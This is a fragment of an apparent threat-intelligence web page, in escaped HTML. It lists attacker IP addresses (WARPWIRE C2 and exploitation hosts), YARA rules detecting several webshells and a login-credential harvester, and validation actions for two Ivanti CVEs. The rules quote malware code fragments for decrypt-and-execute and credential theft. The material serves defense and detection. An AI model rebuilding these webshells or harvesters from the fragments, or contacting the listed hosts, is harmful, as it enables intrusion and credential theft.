server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e146.0.228[.]66\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIPv4\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e159.65.130[.]146\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIPv4\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e8.137.112[.]245\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIPv4\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e91.92.254[.]14\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIPv4\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eWARPWIRE variant C2 server\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e186.179.39[.]235\u00a0\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIPv4\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eMass exploitation activity\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e50.215.39[.]49\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIPv4\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003ePost-exploitation activity\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e45.61.136[.]14\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIPv4\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003ePost-exploitation activity\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003ccode style\u003d\"vertical-align:baseline\"\u003e173.220.106[.]166\u003c/code\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eIPv4\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:top;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003ePost-exploitation activity\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003ch2\u003eYARA Rules\u003c/h2\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e"]]],[null,null,[null,[null,"\u003cpre\u003e\u003ccode\u003erule M_Hunting_Webshell_BUSHWALK_1 {\r\n meta:\r\n author \u003d \u0026quot;Mandiant\u0026quot;\r\n description \u003d \u0026quot;This rule detects BUSHWALK, a webshell written in Perl CGI \r\nthat is embedded into a legitimate Pulse Secure file to enable file transfers\u0026quot;\r\n\r\n strings:\r\n $s1 \u003d \u0026quot;SafariiOS\u0026quot; ascii\r\n $s2 \u003d \u0026quot;command\u0026quot; ascii\r\n $s3 \u003d \u0026quot;change\u0026quot; ascii\r\n $s4 \u003d \u0026quot;update\u0026quot; ascii\r\n $s5 \u003d \u0026quot;$data \u003d RC4($key, $data);\u0026quot; ascii\r\n condition:\r\n filesize \u0026lt; 5KB\r\n and all of them\r\n}\u003c/code\u003e\u003c/pre\u003e"]]],[null,null,[null,[null,"\u003cpre\u003e\u003ccode\u003erule M_Hunting_Webshell_CHAINLINE_1 {\r\n meta:\r\n author \u003d \u0026quot;Mandiant\u0026quot;\r\n description \u003d \u0026quot;This rule detects the CHAINLINE webshell, \r\nwhich receives RC4 encrypted commands and returns the execution result\u0026quot;\r\n md5 \u003d \u0026quot;3045f5b3d355a9ab26ab6f44cc831a83\u0026quot;\r\n strings:\r\n $s1 \u003d \u0026quot;crypt(command: str)\u0026quot; ascii\r\n $s2 \u003d \u0026quot;tmp[i] \u003d chr(ord(tmp[i])\u0026quot; ascii\r\n $s3 \u003d \u0026quot;ord(RC4_KEY[i % len(RC4_KEY)])\u0026quot; ascii\r\n $s4 \u003d \u0026quot;class Health(Resource)\u0026quot; ascii\r\n $s5 \u003d \u0026quot;crypt(base64.b64decode(command.encode(\u0026quot; ascii\r\n $s6 \u003d \u0026quot;base64.b64encode(crypt(result)\u0026quot; ascii\r\n $s7 \u003d \u0026quot;{\\\u0026quot;message\\\u0026quot;: \u0026#39;ok\u0026#39;, \\\u0026quot;stats\\\u0026quot;: result}\u0026quot; ascii\r\n condition:\r\n filesize \u0026lt; 100KB and\r\n any of them\r\n}\r\n\u003c/code\u003e\u003c/pre\u003e"]]],[null,null,[null,[null,"\u003cpre\u003e\u003ccode\u003erule M_HUNTING_APT_Webshell_FRAMESTING_result\r\n{\r\n meta:\r\n author \u003d \"Mandiant\"\r\n description \u003d \"Detects strings associated with FRAMESTING webshell\"\r\n md5 \u003d \"465600cece80861497e8c1c86a07a23e\"\r\n strings:\r\n $s1 \u003d \"exec(zlib.decompress(aes.decrypt(base64.b64decode(data))),\r\n{'request':request,'cache'\"\r\n $s2 \u003d \"result\u003d{'message':'','action':0}\"\r\n\r\n condition:\r\n any of them\r\n}\u003c/code\u003e\u003c/pre\u003e"]]],[null,null,[null,[null,"\u003cpre\u003e\u003ccode\u003erule M_Hunting_Webshell_LIGHTWIRE_4 {\r\n meta:\r\n author \u003d \u0026quot;Mandiant\u0026quot;\r\n description \u003d \u0026quot;Detects LIGHTWIRE based on the RC4 decoding \r\nand execution 1-liner.\u0026quot;\r\n md5 \u003d \u0026quot;3d97f55a03ceb4f71671aa2ecf5b24e9\u0026quot;\r\n strings:\r\n $re1 \u003d /eval\\{my.{1,20}Crypt::RC4-\u0026gt;new\\(\\\u0026quot;.{1,50}-\u0026gt;RC4\\(decode_base64\\\r\n(CGI::param\\(\\\u0026#39;.{1,30};eval\\s\\$.{1,30}\\\u0026quot;Compatibility\\scheck:\\s\\$@\\\u0026quot;;\\}/\r\n condition:\r\n filesize \u0026lt; 1MB and all of them\r\n}\r\n\u003c/code\u003e\u003c/pre\u003e"]]],[null,null,[null,[null,"\u003cpre\u003e\u003ccode\u003erule M_Hunting_CredTheft_WARPWIRE_strings\r\n{\r\n meta:\r\n author \u003d \u0026quot;Mandiant\u0026quot;\r\n description \u003d \u0026quot;Detects strings within WARPWIRE credential harvester\u0026quot;\r\n md5 \u003d \u0026quot;b15f47e234b5d26fb2cc81fc6fd89775\u0026quot;\r\n strings:\r\n $header \u003d \u0026quot;function SetLastRealm(sValue) {\u0026quot;\r\n\r\n // password fields\r\n $username \u003d \u0026quot;document.frmLogin.username.value;\u0026quot;\r\n $password \u003d \u0026quot;document.frmLogin.password.value;\u0026quot;\r\n\r\n // post version\r\n $btoa \u003d \u0026quot;btoa(\u0026quot;\r\n $xhr_post \u003d /xhr.open\\(.POST.,( )?url,/\r\n\r\n // get version\r\n $xhr_get \u003d /xhr.open\\(.GET.,( )?url,/\r\n $xhr_send \u003d \u0026quot;xhr.send(null);\u0026quot;\r\n\r\n condition:\r\n $header in (0..100) \r\n and $password in (@username[1]..@username[1]+100)\r\n and ((#btoa \u0026gt; 1 and $xhr_post) or ($xhr_send in (@xhr_get[1]..\r\n@xhr_get[1]+50)))\r\n}\u003c/code\u003e\u003c/pre\u003e"]]],[null,null,[null,[null,"\u003ch2\u003eMandiant Security Validation Actions\u003c/h2\u003e\n\u003cp\u003eOrganizations can validate their security controls using the following actions with\u00a0\u003ca href\u003d\"https://cloud.google.com/security/products/threat-intelligence\" rel\u003d\"noopener\" target\u003d\"_blank\"\u003e\u003cu\u003eMandiant Security Validation\u003c/u\u003e\u003c/a\u003e.\u003cbr\u003e\u003cbr\u003e\u003c/p\u003e\n\u003cdiv align\u003d\"left\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\n\u003cdiv style\u003d\"color:#5f6368;overflow-x:auto;overflow-y:hidden;width:100%\"\u003e\u003ctable\u003e\u003ccolgroup\u003e\u003ccol\u003e\u003ccol\u003e\u003c/colgroup\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eVID\u003c/strong\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cstrong style\u003d\"vertical-align:baseline\"\u003eName\u003c/strong\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-938\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eMalicious File Transfer - UNC5221, CHAINLINE, Upload, Variant #1\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-939\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eMalicious File Transfer - FRAMESTING, Upload, Variant #1\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-940\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eMalicious File Transfer - WARPWIRE, Download, Variant #3\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-941\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eCommand and Control - WARPWIRE, DNS Query, Variant #3\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-942\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eCommand and Control - WARPWIRE, DNS Query, Variant #1\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-943\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eMalicious File Transfer - WARPWIRE, Download, Variant #1\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-944\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eCommand and Control - WARPWIRE, DNS Query, Variant #2\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-945\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eMalicious File Transfer - WARPWIRE, Download, Variant #2\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-946\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eMalicious File Transfer - UNC5221, WIREFIRE, Upload, Variant #1\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-947\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eMalicious File Transfer - LIGHTWIRE, Upload, Variant #1\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-934\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eApplication Vulnerability - CVE-2024-21887, Command Injection, Variant #1\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-935\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eApplication Vulnerability - CVE-2023-46805, Authentication Bypass, Variant #1\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eA106-936\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003ctd style\u003d\"vertical-align:middle;border:1px solid #000000;padding:16px\"\u003e\n\u003cp\u003e\u003cspan style\u003d\"vertical-align:baseline\"\u003eApplication Vulnerability - CVE-2024-21887, Command Injection, Variant #2\u003c/span\u003e\u003c/p\u003e\n\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/div\u003e"]]]],[["Threat Intelligence","Bridging the Gap: Elevating Red Team Assessments with Application Security Testing","Red team and targeted external assessments should incorporate application security expertise to better simulate modern adversaries.",["https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png","https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-400x400.png 324w, https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png 648w"," 324px, 648px","https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png"],null,13,null,"https://cloud.google.com/blog/topics/threat-intelligence/red-team-application-security-testing",null,1,[["Mandiant "]],null,"55679"],["Threat Intelligence","(QR) Coding My Way Out of Here: C2 in Browser Isolation Environments","A technique to circumvent all types of browser isolation for the purpose of controlling a malicious implant via command and control.",["https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png","https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-400x400.png 324w, https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png 648w"," 324px, 648px","https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png"],null,8,null,"https://cloud.google.com/blog/topics/threat-intelligence/c2-browser-isolation-environments",null,1,[["Mandiant "]],null,"55664"],["Threat Intelligence","Seeing Through a GLASSBRIDGE: Understanding the Digital Marketing Ecosystem Spreading Pro-PRC Influence Operations","GLASSBRIDGE is an umbrella group of four different companies that operate networks of inauthentic news sites and newswire services.",["https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png","https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-400x400.png 324w, https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png 648w"," 324px, 648px","https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png"],null,13,null,"https://cloud.google.com/blog/topics/threat-intelligence/glassbridge-pro-prc-influence-operations",null,1,[["Google Threat Intelligence Group "]],null,"55620"],["Threat Intelligence","Empowering Gemini for Malware Analysis with Code Interpreter and Google Threat Intelligence","When used for malware analysis, Gemini now has capabilities to address obfuscation, and obtain insights on IOCs.",["https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png","https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-400x400.png 324w, https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png 648w"," 324px, 648px","https://storage.googleapis.com/gweb-cloudblog-publish/images/threat-intelligence-default-banner-simplifie.max-700x700.png"],null,6,null,"https://cloud.google.com/blog/topics/threat-intelligence/gemini-malware-analysis-code-interpreter-threat-intelligence",null,1,[["Bernardo Quintero"],["Andr\u00e9s Ram\u00edrez"]],null,"55597"]],null,"Threat Intelligence",null,[["Threat Intelligence","https://cloud.google.com/blog/topics/threat-intelligence","threat-intelligence"]],null,null,39], sideChannel: {}});</script><script id="wiz_jd" nonce="Lh9XRrNZbyI2TSQR0nTTVQ">if (window['_wjdc']) {const wjd = {}; window['_wjdc'](wjd); delete window['_wjdc'];}</script><script aria-hidden="true" id="WIZ-footer" nonce="Lh9XRrNZbyI2TSQR0nTTVQ">window.wiz_progress&&window.wiz_progress(); window.stopScanForCss&&window.stopScanForCss(); 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